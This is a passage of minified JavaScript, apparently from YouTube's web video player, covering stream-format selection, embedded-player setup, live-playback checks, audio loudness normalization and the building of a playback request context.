eV=function(x,T,t){t=t===void 0?!1:t;x.xQ=void 0;x.C=T;g.y(x,T);T.Q9=x.Q9;T.ll=x.ll;T.QU=x.QU;T.kP=x.kP;T.rp=x.rp;x.e7&&(T.J=new PH(x.e7));(x.xN()||g.mE(x))&&x.Hv.push("webgl");x.C.isLive||(x.isLivePlayback=!1);var u=T.sourceUrl.split("/");if(x.FD?u.indexOf("manifest_duration")!==-1:u.indexOf("manifest_duration")!=-1)x.EG=Number(u[u.indexOf("manifest_duration")+1]);if(T.Z||T.isManifestless)T.subscribe("clienttemp",x.kc,x),t?T.subscribe("refresh",x.xw,x):T.subscribe("cuepointsadded",x.T6,x);mV(T)?
x.SH=!0:O4=void 0;x.hQ&&(T.K=x.hQ,T.isLive=!0,x.isLivePlayback=!0);T.isPremiere=x.isPremiere;T.isLiveHeadPlayable=x.isLiveHeadPlayable};
gYX=function(x,T){var t=T||VA3(x)||x.isExternallyHostedPodcast;if(!x.C||t)return x.kc("skipDash",{dm:!!x.C,air:T,dd:x.lh,mss:oQ(),"3pp":x.isExternallyHostedPodcast}),hg();sD(x)&&Tcf(x.C,x.isLivePlayback);ED(x,"html5_enable_cobalt_experimental_vp9_decoder")&&h9q(x.Pv.T);return vi().then(function(){return CB3(x.I5,g.HV(x),x.Pv.T,x.C,x.T,function(u){return x.publish("ctmp","fmtflt",u)},x.Of,$7(x)&&x.B("html5_enable_server_format_filter")).then(function(u){x.Uw(u);
x.I5.C=null;/^av/.test(x.clientPlaybackNonce)&&x.F3&&x.kc("av1",x.F3.C)})})};
WOv=function(x,T){if(T&&x.hlsvp)return hg();if(x.hlsFormats){T=db(x.hlsFormats);var t;if(((t=x.F3)==null?0:t.Z)&&T){t=[];for(var u=g.S(T),H=u.next();!H.done;H=u.next())t.push(H.value.itag);x.kc("hlsfmt",{itags:t.join(".")})}x.ZG=MI3(x.Pv,T);x.ZG&&Bzf(x,x.ZG);t=x.clientPlaybackNonce;var I,E,Z,e;return cOH(x.Pv,x.isAd(),T,(e=(I=x.playerResponse)==null?void 0:(E=I.captions)==null?void 0:(Z=E.playerCaptionsRenderer)==null?void 0:Z.baseUrl)!=null?e:null,x.RW,t,function(l){return x.publish("ctmp","hlsflt",
l)}).then(function(l){for(var m=0,d=[],M=g.S(l),A=M.next();!A.done;A=M.next()){A=A.value;
var R=void 0;d.push((R=A.getInfo())==null?void 0:R.itag);var Y=R=void 0;((R=A.getInfo())==null?void 0:(Y=R.audio)==null?void 0:Y.numChannels)>m&&(m=A.getInfo().audio.numChannels)}m>2&&x.kc("hlschl",{mn:m});var b;((b=x.F3)==null?0:b.Z)&&x.kc("hlsfmtaf",{itags:d.join(".")});var z;if(x.B("html5_enable_vp9_fairplay")&&((z=x.T)==null?0:gV(z)))for(x.kc("drm",{sbdlfbk:1}),m=g.S(x.ea),d=m.next();!d.done;d=m.next())if(d=d.value,a$(d)){x.T=d;break}M$(x,l)})}return hg()};
DJH=function(x){if(x.isExternallyHostedPodcast&&x.aH){var T=db(x.aH);if(!T[0])return hg();x.f1=T[0];return bVf(x.Pv,T[0]).then(function(t){M$(x,t)})}return x.Hm&&x.xu?UUi(x.Pv,x.isAd(),x.Hm).then(function(t){M$(x,t)}):hg()};
Nz5=function(x){if(x.isExternallyHostedPodcast)return hg();var T=db(x.aH,x.c5);if(x.hlsvp){var t=jj3(x.hlsvp,x.clientPlaybackNonce,x.RW);T.push(t)}return YO3(x.Pv,x.isAd(),T,y4q(x)).then(function(u){M$(x,u)})};
M$=function(x,T){x.L4=T;x.Uw(new qF(g.r7(x.L4,function(t){return t.getInfo()})))};
y4q=function(x){var T={cpn:x.clientPlaybackNonce,c:x.Pv.C.c,cver:x.Pv.C.cver};x.S$&&(T.ptk=x.S$,T.oid=x.Q5,T.ptchn=x.Ih,T.pltype=x.D1,x.D8&&(T.m=x.D8));return T};
g.AB=function(x){return IU(x)&&x.tQ?(x={},x.fairplay="https://youtube.com/api/drm/fps?ek=uninitialized",x):x.Z&&x.Z.wb||null};
J45=function(x){var T=RU(x);return T&&T.text?g.eb(T.text):x.paidContentOverlayText};
CCv=function(x){var T=RU(x);return T&&T.durationMs?xO(T.durationMs):x.paidContentOverlayDurationMs};
RU=function(x){var T,t,u;return x.playerResponse&&x.playerResponse.paidContentOverlay&&x.playerResponse.paidContentOverlay.paidContentOverlayRenderer||g.N((T=x.nf)==null?void 0:(t=T.playerOverlays)==null?void 0:(u=t.playerOverlayRenderer)==null?void 0:u.playerDisclosure,QjX)||null};
PV=function(x){var T="";if(x.P0)return x.P0;x.isLivePlayback&&(T=x.allowLiveDvr?"dvr":x.isPremiere?"lp":x.hQ?"window":"live");x.qI&&(T="post");return T};
g.SV=function(x,T){return typeof x.keywords[T]!=="string"?null:x.keywords[T]};
pbv=function(x){return!!x.FR||!!x.Qz||!!x.nu||!!x.Kl||x.xl||x.N.focEnabled||x.N.rmktEnabled};
g.cV=function(x){return!!(x.Jq||x.aH||x.Hm||x.hlsvp||x.uQ())};
Jj=function(x){if(x.B("html5_onesie")&&x.errorCode)return!1;var T=g.wy(x.Hv,"ypc");x.ypcPreview&&(T=!1);return x.eD()&&!x.loading&&(g.cV(x)||g.wy(x.Hv,"heartbeat")||T)};
db=function(x,T){x=tg(x);var t={};if(T){T=g.S(T.split(","));for(var u=T.next();!u.done;u=T.next())(u=u.value.match(/^([0-9]+)\/([0-9]+)x([0-9]+)(\/|$)/))&&(t[u[1]]={width:u[2],height:u[3]})}T=g.S(x);for(u=T.next();!u.done;u=T.next()){u=u.value;var H=t[u.itag];H&&(u.width=H.width,u.height=H.height)}return x};
Y7=function(x){var T=x.getAvailableAudioTracks();T=T.concat(x.Sd);for(var t=0;t<x.jG.length;t++)for(var u=x.jG[t],H=0;H<T.length;H++){var I=T[H],E=I.S8.id===u.audioTrackId;if(I.S8.isDefault&&t===x.D2||E){if(u.captionTrackIndices)for(E=0;E<u.captionTrackIndices.length;E++)I.captionTracks[E]=x.captionTracks[u.captionTrackIndices[E]];u.defaultCaptionTrackIndex!==void 0&&(I.j=x.captionTracks[u.defaultCaptionTrackIndex]);u.forcedCaptionTrackIndex!==void 0&&(I.C=x.captionTracks[u.forcedCaptionTrackIndex]);
I.Z=u.visibility||"UNKNOWN";I.captionsInitialState=u.captionsInitialState||"CAPTIONS_INITIAL_STATE_UNKNOWN"}}};
c4m=function(x,T){x.showShareButton=!!T;var t,u,H=((t=g.N(T,g.nx))==null?void 0:t.navigationEndpoint)||((u=g.N(T,g.nx))==null?void 0:u.command);H&&(x.Yn=!!g.N(H,Oxi))};
eff=function(x,T){var t=T.raw_embedded_player_response;if(!t){var u=T.embedded_player_response;u&&(t=JSON.parse(u))}t&&(x.fd=t);if(x.fd){x.embeddedPlayerConfig=x.fd.embeddedPlayerConfig||null;if(t=x.fd.videoFlags)t.playableInEmbed&&(x.allowEmbed=!0),t.isPrivate&&(x.isPrivate=!0),t.userDisplayName&&(T.user_display_name=t.userDisplayName),t.userDisplayImage&&(T.user_display_image=t.userDisplayImage);if(t=x.fd.embedPreview){t=t.thumbnailPreviewRenderer;C_C(x,t.controlBgHtml);if(u=t.defaultThumbnail)x.S=
ME(u);x.B("embeds_web_enable_search_button")&&t.searchButton&&(u=g.N(t.searchButton,g.nx))&&(x.rH=g.N(u.navigationEndpoint,g.UD));(u=g.N(t==null?void 0:t.videoDetails,fhX))&&r4q(x,T,u);u=g.N(t==null?void 0:t.videoDetails,wb3);x.tR=!!t.addToWatchLaterButton;c4m(x,t.shareButton);if(u==null?0:u.musicVideoType)x.musicVideoType=u.musicVideoType;var H,I,E,Z,e;if(u=g.N((H=x.getEmbeddedPlayerResponse())==null?void 0:(I=H.embedPreview)==null?void 0:(E=I.thumbnailPreviewRenderer)==null?void 0:(Z=E.playButton)==
null?void 0:(e=Z.buttonRenderer)==null?void 0:e.navigationEndpoint,g.KB))FYV(x,u),x.videoId=u.videoId||x.videoId;t.videoDurationSeconds&&(x.lengthSeconds=xO(t.videoDurationSeconds));t.webPlayerActionsPorting&&JOH(x,t.webPlayerActionsPorting);if(H=g.N(t==null?void 0:t.playlist,KOX)){x.yw=!0;I=[];E=Number(H.currentIndex);if(H.contents)for(Z=0,e=H.contents.length;Z<e;Z++)if(t=H.contents[Z].playlistPanelVideoRenderer){u=t.shortBylineText?g.eb(t.shortBylineText):"";var l=t.title?g.eb(t.title):"";I.push({author:u,
encrypted_id:t.videoId,title:l,channel_path:Z===E?T.channel_path:"",profile_picture:Z===E?T.profile_picture:"",is_private:Z===E?x.isPrivate:!0,is_dni:Z===E?x.E0:!1,dni_color:Z===E?x.O9:""})}T={index:H.currentIndex,list:H.playlistId,playlist_length:H.totalVideos,video:I};H.titleText&&(T.title=g.eb(H.titleText));H.shortBylineText&&(T.author=g.eb(H.shortBylineText));x.d4=T}var m,d,M;if(T=g.N((m=x.getEmbeddedPlayerResponse())==null?void 0:(d=m.embedPreview)==null?void 0:(M=d.thumbnailPreviewRenderer)==
null?void 0:M.infoPanel,UJf)){x.Zm=Number(T==null?void 0:T.durationMs)||NaN;if(T==null?0:T.infoPanelOverviewViewModel)x.Nz=T==null?void 0:T.infoPanelOverviewViewModel;if(T==null?0:T.infoPanelDetailsViewModel)x.CB=T==null?void 0:T.infoPanelDetailsViewModel}}if(x.fd.previewPlayabilityStatus){if(x.fu=x.fd.previewPlayabilityStatus,m=x.fu,!["OK","LIVE_STREAM_OFFLINE"].includes(m.status)){x.errorCode=zPm(m.errorCode);d=m.errorScreen;if(M=d==null?void 0:d.playerErrorMessageRenderer){x.Tw=M;if(T=M.reason)x.errorReason=
g.eb(T);if(M=M.subreason)x.p7=g.eb(M)}else x.errorReason=m.reason||null;switch(m.status){case "LOGIN_REQUIRED":x.errorDetail="1";break;case "CONTENT_CHECK_REQUIRED":x.errorDetail="2";break;case "AGE_CHECK_REQUIRED":var A;(d==null?0:(A=d.playerKavRenderer)==null?0:A.kavUrl)?x.errorDetail="4":x.errorDetail="3";break;default:x.errorDetail=m.isBlockedInRestrictedMode?"5":"0"}}}else x.fd.playabilityStatus&&(x.DX=x.fd.playabilityStatus,XbD(x)&&(x.errorDetail="0",x.DX&&((A=x.DX.embeddedPlayerErrorMessageRenderer)?
x.Tw=g.N(A,xT5):x.errorReason=x.DX.reason||null)));(A=x.fd.attestation)&&BLX(x,A);(A=x.fd.permissions)&&A.allowImaMonetization&&(x.allowImaMonetization=!0)}};
r4q=function(x,T,t){var u=t.channelThumbnail;u&&(u=u.thumbnails)&&(u=u[0])&&(T.profile_picture=u.url);var H;if(u=g.N((H=g.N(t==null?void 0:t.channelThumbnailEndpoint,TZJ))==null?void 0:H.urlEndpoint,g.GQ))T.channel_path=u.url;if(H=t.collapsedRenderer)if(H=g.N(H,osf)){if(u=H.title)T.title=g.eb(u);if(H=H.subtitle)T.subtitle=g.eb(H)}if(t=t.expandedRenderer)if(t=g.N(t,tsv)){if(H=t.title)T.expanded_title=g.eb(H);if(H=t.subtitle)T.expanded_subtitle=g.eb(H);if(t=t.subscribeButton)x.subscribeButtonRenderer=
g.N(t,g.bv),x.subscribeButtonRenderer&&(T.ucid=x.subscribeButtonRenderer.channelId,T.subscribed=x.subscribeButtonRenderer.subscribed,x.UG=!!x.subscribeButtonRenderer.notificationPreferenceToggleButton,x.subscribeButtonRenderer.notificationPreferenceToggleButton&&x.subscribeButtonRenderer.notificationPreferenceToggleButton.toggleButtonRenderer&&(T=x.subscribeButtonRenderer.notificationPreferenceToggleButton.toggleButtonRenderer,T.isToggled?(x.x7=T.toggledServiceEndpoint||null,x.LJ=T.defaultServiceEndpoint||
null):(x.x7=T.defaultServiceEndpoint||null,x.LJ=T.toggledServiceEndpoint||null)))}};
g.rb=function(x){return q$(x)&&!x.allowLiveDvr};
zT=function(x){return q$(x)&&x.allowLiveDvr};
q$=function(x){return x.B("html5_live_head_playable")&&ZF(x)&&x.Pv.ZZ==="yt"?x.isLiveHeadPlayable:x.isLivePlayback};
Bzf=function(x,T){x.B("html5_audio_tracks_sort_by_name")&&T.sort(function(t,u){return t.toString().localeCompare(u.toString(),x.Pv.hostLanguage)})};
g.k7=function(x){return!!x.C&&VcC(x.C)};
g.FU=function(x){return!!x.C&&Gy4(x.C)};
g.hB=function(x){return!!x.C&&LX5(x.C)};
g.mE=function(x){return!!x.C&&njC(x.C)};
g.s85=function(x){if(x.KJ)return null;var T=x.Pa;T||(T=x.playerResponse&&x.playerResponse.endscreen&&x.playerResponse.endscreen.endscreenUrlRenderer&&x.playerResponse.endscreen.endscreenUrlRenderer.url);return T||null};
g.u04=function(x){return x.KJ?null:x.playerResponse&&x.playerResponse.endscreen&&x.playerResponse.endscreen.endscreenRenderer||null};
g.vV=function(x){return x.B("enable_wn_infocards")};
g.Vs=function(x){var T,t,u,H;return(g.vV(x)?(T=x.nf)==null?void 0:(t=T.cards)==null?void 0:t.cardCollectionRenderer:(u=x.playerResponse)==null?void 0:(H=u.cards)==null?void 0:H.cardCollectionRenderer)||null};
g.gb=function(x){if(!x.playerResponse||!x.playerResponse.annotations)return null;x=g.S(x.playerResponse.annotations);for(var T=x.next();!T.done;T=x.next())if(T=T.value,T.playerAnnotationsExpandedRenderer&&T.playerAnnotationsExpandedRenderer.featuredChannel)return T.playerAnnotationsExpandedRenderer;return null};
WV=function(x){return x.adFormat&&(x.FD?x.adFormat!=="1_5":x.adFormat!="1_5")?"adunit":x.eventLabel||x.Pv.Om};
g.DF=function(x){return WV(x)==="shortspage"};
tB=function(x){return x.qg()&&x.Y().supportsGaplessShorts()};
ys=function(x){if(x.isAd()&&(x.FD?x.videoId!==x.Pv.tM:x.videoId!=x.Pv.tM))return x.Pv.tM};
N$=function(x){return x.VL||WV(x)==="detailpage"||WV(x)==="shortspage"||x.mutedAutoplay};
JB=function(x){var T=(T=x.B("enable_cleanup_masthead_autoplay_hack_fix"))&&WV(x)==="adunit"?x.MK:N$(x)?WV(x)==="detailpage"||WV(x)==="shortspage"?x.isAutonav||x.L2>0:T||x.adFormat!=="17_8"||x.isAutonav||g.K1(x.Pv)||x.MK?x.hR?!1:x.Pv.aH||x.Pv.WU||!g.zw(x.Pv)?!T&&WV(x)==="adunit"&&x.FR?!1:!0:!1:!1:(x.hR?0:x.cS)&&g.zw(x.Pv)?!0:!1;x.B("html5_log_detailpage_autoplay")&&WV(x)==="detailpage"&&x.kc("autoplay_info",{autoplay:x.VL,autonav:x.isAutonav,wasDompaused:x.hR,result:T});return T};
g.Cm=function(x){return x.oauthToken||x.Pv.FR};
HFX=function(x){if(x.B("html5_stateful_audio_normalization")){var T=1,t=g.Z9(x.Pv.experiments,"html5_default_ad_gain");t&&x.isAd()&&(T=t);var u;if(t=((u=x.K)==null?void 0:u.audio.Z)||x.PX){u=(0,g.bo)();x.U9=2;var H=u-x.Pv.EU<=x.maxStatefulTimeThresholdSec*1E3;x.applyStatefulNormalization&&H?x.U9=4:H||(x.Pv.Sd=Infinity,x.Pv.EU=NaN);H=(x.U9===4?g.iu(x.Pv.Sd,x.minimumLoudnessTargetLkfs,x.loudnessTargetLkfs):x.loudnessTargetLkfs)-t;if(x.U9!==4){var I,E,Z,e,l=((I=x.playerResponse)==null?void 0:(E=I.playerConfig)==
null?void 0:(Z=E.audioConfig)==null?void 0:(e=Z.loudnessNormalizationConfig)==null?void 0:e.statelessLoudnessAdjustmentGain)||0;H+=l}H=Math.min(H,0);x.preserveStatefulLoudnessTarget&&(x.Pv.Sd=t+H,x.Pv.EU=u);x=Math.min(1,Math.pow(10,H/20))||T}else x=$Ti(x)}else x=$Ti(x);return x};
$Ti=function(x){var T=1,t=g.Z9(x.Pv.experiments,"html5_default_ad_gain");t&&x.isAd()&&(T=t);var u;if(t=((u=x.K)==null?void 0:u.audio.j)||x.tI)x.U9=1;return Math.min(1,Math.pow(10,-t/20))||T};
sD=function(x){var T=["MUSIC_VIDEO_TYPE_ATV","MUSIC_VIDEO_TYPE_PRIVATELY_OWNED_TRACK"],t=wV(x.Pv)==="TVHTML5_SIMPLY"&&x.Pv.C.ctheme==="MUSIC";x.WU||!g.L2(x.Pv)&&!t||!T.includes(x.musicVideoType)&&!x.isExternallyHostedPodcast||(x.WU=!0);if(T=g.N2())T=/Starboard\/([0-9]+)/.exec(g.FF()),T=(T?parseInt(T[1],10):NaN)<10;t=x.Pv;t=(wV(t)==="TVHTML5_CAST"||wV(t)==="TVHTML5"&&(t.C.cver.startsWith("6.20130725")||t.C.cver.startsWith("6.20130726")))&&x.Pv.C.ctheme==="MUSIC";var u;if(u=!x.WU)t||(t=x.Pv,t=wV(t)===
"TVHTML5"&&t.C.cver.startsWith("7")),u=t;u&&!T&&(T=x.musicVideoType==="MUSIC_VIDEO_TYPE_PRIVATELY_OWNED_TRACK",t=(x.B("cast_prefer_audio_only_for_atv_and_uploads")||x.B("kabuki_pangea_prefer_audio_only_for_atv_and_uploads"))&&x.musicVideoType==="MUSIC_VIDEO_TYPE_ATV",T||t||x.isExternallyHostedPodcast)&&(x.WU=!0);return x.Pv.deviceIsAudioOnly||x.WU&&x.Pv.N};
g.iFm=function(x){var T;if(!(T=x.B("html5_enable_sabr_live_captions")&&x.B9()&&$7(x))){var t,u,H;T=((t=x.playerResponse)==null?void 0:(u=t.playerConfig)==null?void 0:(H=u.compositeVideoConfig)==null?void 0:H.compositeBroadcastType)==="COMPOSITE_BROADCAST_TYPE_COMPRESSED_DOMAIN_COMPOSITE"}return T};
Qs=function(x){var T,t,u;return!!((T=x.playerResponse)==null?0:(t=T.playerConfig)==null?0:(u=t.mediaCommonConfig)==null?0:u.splitScreenEligible)};
pm=function(x){var T;return!((T=x.playerResponse)==null||!T.compositePlayabilityStatus)};
IWC=function(x){return isNaN(x)?0:Math.max((Date.now()-x)/1E3-30,0)};
OD=function(x){return!(!x.Qw||!x.Pv.N)&&x.uQ()};
fm=function(x){return x.enablePreroll&&x.enableServerStitchedDai};
EsX=function(x){return x.lM&&!x.e7};
$7=function(x){var T=x.B("html5_enable_sabr_on_drive")&&x.Pv.ZZ==="gd";if(x.u4)return x.lM&&x.kc("fds",{fds:!0},!0),!1;if(x.Pv.ZZ!=="yt"&&!T)return x.lM&&x.kc("dsvn",{ns:x.Pv.ZZ},!0),!1;if(x.cotn||!x.C||x.C.isOtf||x.sZ&&!x.B("html5_enable_sabr_csdai"))return!1;if(x.B("html5_use_sabr_requests_for_debugging"))return!0;if(x.lM&&x.e7)return x.kc("esfw",{usbc:x.lM,hsu:!!x.e7},!0),!0;if(x.B("html5_remove_client_sabr_determination"))return!1;var t=!x.C.B9&&!x.Ut();T=t&&KY&&x.B("html5_enable_sabr_vod_streaming_xhr");
t=t&&!KY&&x.B("html5_enable_sabr_vod_non_streaming_xhr");var u=wb(x),H=x.B("html5_enable_sabr_drm_vod_streaming_xhr")&&KY&&x.Ut()&&!x.C.B9&&(x.EU==="1"?!1:!0);(T=T||t||u||H)&&!x.e7&&x.kc("sabr",{loc:"m"},!0);return T&&!!x.e7};
wb=function(x){var T;if(!(T=KY&&x.B9()&&x.Ut()&&(x.EU==="1"?!1:!0)&&x.B("html5_sabr_live_drm_streaming_xhr"))){T=x.B9()&&!x.Ut()&&KY;var t=x.B9()&&x.latencyClass!=="ULTRALOW"&&!x.isLowLatencyLiveStream&&x.B("html5_sabr_live_normal_latency_streaming_xhr"),u=x.isLowLatencyLiveStream&&x.B("html5_sabr_live_low_latency_streaming_xhr"),H=x.latencyClass==="ULTRALOW"&&x.B("html5_sabr_live_ultra_low_latency_streaming_xhr");T=T&&(t||u||H)}t=T;T=x.enableServerStitchedDai&&t&&x.B("html5_enable_sabr_ssdai_streaming_xhr");
t=!x.enableServerStitchedDai&&t;u=x.B9()&&!KY&&x.B("html5_enable_sabr_live_non_streaming_xhr");x=KY&&(x.Ty()||Qs(x)&&x.B("html5_enable_sabr_for_lifa_eligible_streams"));return T||t||u||x};
g.pB=function(x){return x.uv&&$7(x)};
GOi=function(x){var T;if(T=!!x.cotn)T=x.videoId,T=!!T&&g.kc(T)===1;return T&&!x.Qw};
g.Km=function(x){if(!x.C||!x.Z||!x.K)return!1;var T=x.C.C,t=!!T[x.Z.id]&&bG(T[x.Z.id].QA.C);T=!!T[x.K.id]&&bG(T[x.K.id].QA.C);return(x.Z.itag==="0"||t)&&T};
XU=function(x){return x.fu?["OK","LIVE_STREAM_OFFLINE"].includes(x.fu.status):!0};
XbD=function(x){return(x=x.DX)&&x.showError?x.showError:!1};
ED=function(x,T){return x.B(T)?!0:(x.fflags||"").includes(T+"=true")};
q8V=function(x){return x.B("html5_heartbeat_iff_heartbeat_params_filled")};
RfV=function(x,T){T.inlineMetricEnabled&&(x.inlineMetricEnabled=!0);T.playback_progress_0s_url&&(x.Kl=new OV3(T));if(T=T.video_masthead_ad_quartile_urls)x.Qz=T.quartile_0_url,x.F9=T.quartile_25_url,x.NO=T.quartile_50_url,x.Gg=T.quartile_75_url,x.qO=T.quartile_100_url,x.nu=T.quartile_0_urls,x.md=T.quartile_25_urls,x.eK=T.quartile_50_urls,x.W0=T.quartile_75_urls,x.Ya=T.quartile_100_urls};
A43=function(x){var T={};x=g.S(x);for(var t=x.next();!t.done;t=x.next()){t=t.value;var u=t.split("=");u.length===2?T[u[0]]=u[1]:T[t]=!0}return T};
mJi=function(x){if(x){if(oB5(x))return x;x=tbX(x);if(oB5(x,!0))return x}return""};
g.ZF4=function(x){return x.captionsLanguagePreference||x.Pv.captionsLanguagePreference||g.SV(x,"yt:cc_default_lang")||x.Pv.ra};
xh=function(x){return!(!x.isLivePlayback||!x.hasProgressBarBoundaries())};
g.X4=function(x){var T;return x.un||((T=x.suggestions)==null?void 0:T[0])||null};
g.Tt=function(x){return x.E0&&(x.B("embeds_enable_pfp_always_unbranded")||x.Pv.U9)};
o9=function(x,T){x.B("html5_log_autoplay_src")&&tB(x)&&x.kc("apsrc",{src:T})};
g.tW=function(x){var T,t;return!!((T=x.embeddedPlayerConfig)==null?0:(t=T.embeddedPlayerFlags)==null?0:t.enableMusicUx)};
g.uh=function(x){var T=x.Y(),t=g.sT(T),u=T.tQ;(T.B("embeds_web_enable_iframe_api_send_full_embed_url")||T.B("embeds_web_enable_rcat_validation_in_havs")||T.B("embeds_enable_autoplay_and_visibility_signals"))&&g.Gw(T)&&(u&&(t.thirdParty=Object.assign({},t.thirdParty,{embedUrl:u})),GZ3(t,x));if(u=x.Om)t.clickTracking={clickTrackingParams:u};u=t.client||{};var H="EMBED",I=WV(x);I==="leanback"?H="WATCH":T.B("gvi_channel_client_screen")&&I==="profilepage"?H="CHANNEL":x.SY?H="LIVE_MONITOR":I==="detailpage"?
H="WATCH_FULL_SCREEN":I==="adunit"?H="ADUNIT":I==="sponsorshipsoffer"&&(H="UNKNOWN");u.clientScreen=H;if(T=x.kidsAppInfo)u.kidsAppInfo=JSON.parse(T);(H=x.ir)&&!T&&(u.kidsAppInfo={contentSettings:{ageUpMode:j8q[H]}});if(T=x.IE)u.unpluggedAppInfo={enableFilterMode:!0};(H=x.unpluggedFilterModeType)&&!T&&(u.unpluggedAppInfo={filterModeType:ei4[H]});if(T=x.ZZ)u.unpluggedLocationInfo=T;t.client=u;u=t.request||{};x.C4&&(u.isPrefetch=!0);if(T=x.mdxEnvironment)u.mdxEnvironment=T;if(T=x.mdxControlMode)u.mdxControlMode=
lW4[T];t.request=u;u=t.user||{};if(T=x.jY)u.credentialTransferTokens=[{token:T,scope:"VIDEO"}];if(T=x.ra)u.delegatePurchases={oauthToken:T},u.kidsParent={oauthToken:T};t.user=u;if(u=x.contextParams)t.activePlayers=[{playerContextParams:u}];if(x=x.clientScreenNonce)t.clientScreenNonce=x;return t};
g.sT=function(x){var T=g.O3(),t=T.client||{};if(x.forcedExperiments){var u=x.forcedExperiments.split(","),H=[];u=g.S(u);for(var I=u.next();!I.done;I=u.next())H.push(Number(I.value));t.experimentIds=H}if(H=x.homeGroupInfo)t.homeGroupInfo=JSON.parse(H);if(H=x.getPlayerType())t.playerType=H;if(H=x.C.ctheme)t.theme=H;if(H=x.livingRoomAppMode)t.tvAppInfo=Object.assign({},t.tvAppInfo,{livingRoomAppMode:H});H=x.deviceYear;x.B("html5_propagate_device_year")&&H&&(t.tvAppInfo=Object.assign({},t.tvAppInfo,{deviceYear:H}));
if(H=x.livingRoomPoTokenId)t.tvAppInfo=Object.assign({},t.tvAppInfo,{livingRoomPoTokenId:H});T.client=t;t=T.user||{};x.enableSafetyMode&&(t=Object.assign({},t,{enableSafetyMode:!0}));x.pageId&&(t=Object.assign({},t,{onBehalfOfUser:x.pageId}));T.user=t;t=x.tQ;x.B("embeds_web_enable_iframe_api_send_full_embed_url")||x.B("embeds_web_enable_rcat_validation_in_havs")||x.B("embeds_enable_autoplay_and_visibility_signals")||!t||(T.thirdParty={embedUrl:t});return T};
PnC=function(x,T,t){var u=x.videoId,H=g.uh(x),I=x.Y(),E={html5Preference:"HTML5_PREF_WANTS",lactMilliseconds:String(bH()),referer:document.location.toString(),signatureTimestamp:20144};g.Bc();x.isAutonav&&(E.autonav=!0);g.Wc(0,141)&&(E.autonavState=g.Wc(0,140)?"STATE_OFF":"STATE_ON");E.autoCaptionsDefaultOn=g.Wc(0,66);JB(x)&&(E.autoplay=!0);I.N&&x.cycToken&&(E.cycToken=x.cycToken);I.enablePrivacyFilter&&(E.enablePrivacyFilter=!0);x.isFling&&(E.fling=!0);var Z=x.forceAdsUrl;if(Z){var e={},l=[];Z=Z.split(",");
Z=g.S(Z);for(var m=Z.next();!m.done;m=Z.next()){m=m.value;var d=m.split("|");d.length!==3||m.includes("=")||(d[0]="breaktype="+d[0],d[1]="offset="+d[1],d[2]="url="+d[2]);m={adtype:"video_ad"};d=g.S(d);for(var M=d.next();!M.done;M=d.next()){var A=g.S(M.value.split("="));M=A.next().value;A=uD3(A);m[M]=A.join("=")}d=m.url;M=m.presetad;A=m.viralresponseurl;var R=Number(m.campaignid);if(m.adtype==="in_display_ad")d&&(e.url=d),M&&(e.presetAd=M),A&&(e.viralAdResponseUrl=A),R&&(e.viralCampaignId=String(R));
else if(m.adtype==="video_ad"){var Y={offset:{kind:"OFFSET_MILLISECONDS",value:String(Number(m.offset)||0)}};if(m=mTV[m.breaktype])Y.breakType=m;d&&(Y.url=d);M&&(Y.presetAd=M);A&&(Y.viralAdResponseUrl=A);R&&(Y.viralCampaignId=String(R));l.push(Y)}}E.forceAdParameters={videoAds:l,inDisplayAd:e}}x.isInlinePlaybackNoAd&&(E.isInlinePlaybackNoAd=!0);x.isLivingRoomDeeplink&&(E.isLivingRoomDeeplink=!0);e=x.Uf;if(e!=null){e={startWalltime:String(e)};if(l=x.EG)e.manifestDuration=String(l||14400);E.liveContext=
e}if(x.mutedAutoplay){E.mutedAutoplay=!0;e=I.getWebPlayerContextConfig();var b,z;(e==null?0:(b=e.embedsHostFlags)==null?0:b.allowMutedAutoplayDurationMode)&&(e==null?0:(z=e.embedsHostFlags)==null?0:z.allowMutedAutoplayDurationMode.includes(dT3[x.mutedAutoplayDurationMode]))&&(E.mutedAutoplayDurationMode=dT3[x.mutedAutoplayDurationMode])}if(x.hR?0:x.cS)E.splay=!0;b=x.vnd;b===5&&(E.vnd=b);b={};if(z=x.isMdxPlayback)b.triggeredByMdx=z;if(z=x.w$)b.skippableAdsSupported=z.split(",").includes("ska");if(l=
x.pU){z=x.v0;e=[];l=g.S(Lxf(l));for(Z=l.next();!Z.done;Z=l.next()){Z=Z.value;m=Z.platform;Z={applicationState:Z.qQ?"INACTIVE":"ACTIVE",clientFormFactor:MsV[m]||"UNKNOWN_FORM_FACTOR",clientName:ak5[Z.rZ]||"UNKNOWN_INTERFACE",clientVersion:Z.deviceVersion||"",platform:Ab3[m]||"UNKNOWN_PLATFORM"};m={};if(z){d=void 0;try{d=JSON.parse(z)}catch(F){g.Vh(F)}d&&(m={params:[{key:"ms",value:d.ms}]},d.advertising_id&&(m.advertisingId=d.advertising_id),d.limit_ad_tracking!==void 0&&d.limit_ad_tracking!==null&&
(m.limitAdTracking=d.limit_ad_tracking),Z.osName=d.os_name,Z.userAgent=d.user_agent,Z.windowHeightPoints=d.window_height_points,Z.windowWidthPoints=d.window_width_points)}e.push({adSignalsInfo:m,remoteClient:Z})}b.remoteContexts=e}z=x.sourceContainerPlaylistId;e=x.serializedMdxMetadata;if(z||e)l={},z&&(l.mdxPlaybackContainerInfo={sourceContainerPlaylistId:z}),e&&(l.serializedMdxMetadata=e),b.mdxPlaybackSourceContext=l;E.mdxContext=b;b=T.width;b>0&&(E.playerWidthPixels=Math.round(b));if(T=T.height)E.playerHeightPixels=
Math.round(T);t!==0&&(E.vis=t);if(t=I.widgetReferrer)E.widgetReferrer=t.substring(0,128);g.zw(I)&&E&&(E.ancestorOrigins=I.ancestorOrigins);x.defaultActiveSourceVideoId&&(E.compositeVideoContext={defaultActiveSourceVideoId:x.defaultActiveSourceVideoId});if(I=I.getWebPlayerContextConfig())E.encryptedHostFlags=I.encryptedHostFlags;u={videoId:u,context:H,playbackContext:{contentPlaybackContext:E}};x.reloadPlaybackParams&&(u.playbackContext.reloadPlaybackContext={reloadPlaybackParams:x.reloadPlaybackParams});
